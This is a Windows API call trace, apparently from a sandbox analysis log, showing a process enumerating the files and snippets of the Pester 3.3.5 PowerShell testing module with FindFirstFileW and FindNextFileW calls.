	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.338] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0161.339] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.339] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
	[0161.339] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.339] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.339] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.340] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0161.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.340] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1
	[0161.341] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1
	[0161.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0161.347] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.347] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.347] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.347] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.347] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.348] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.349] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
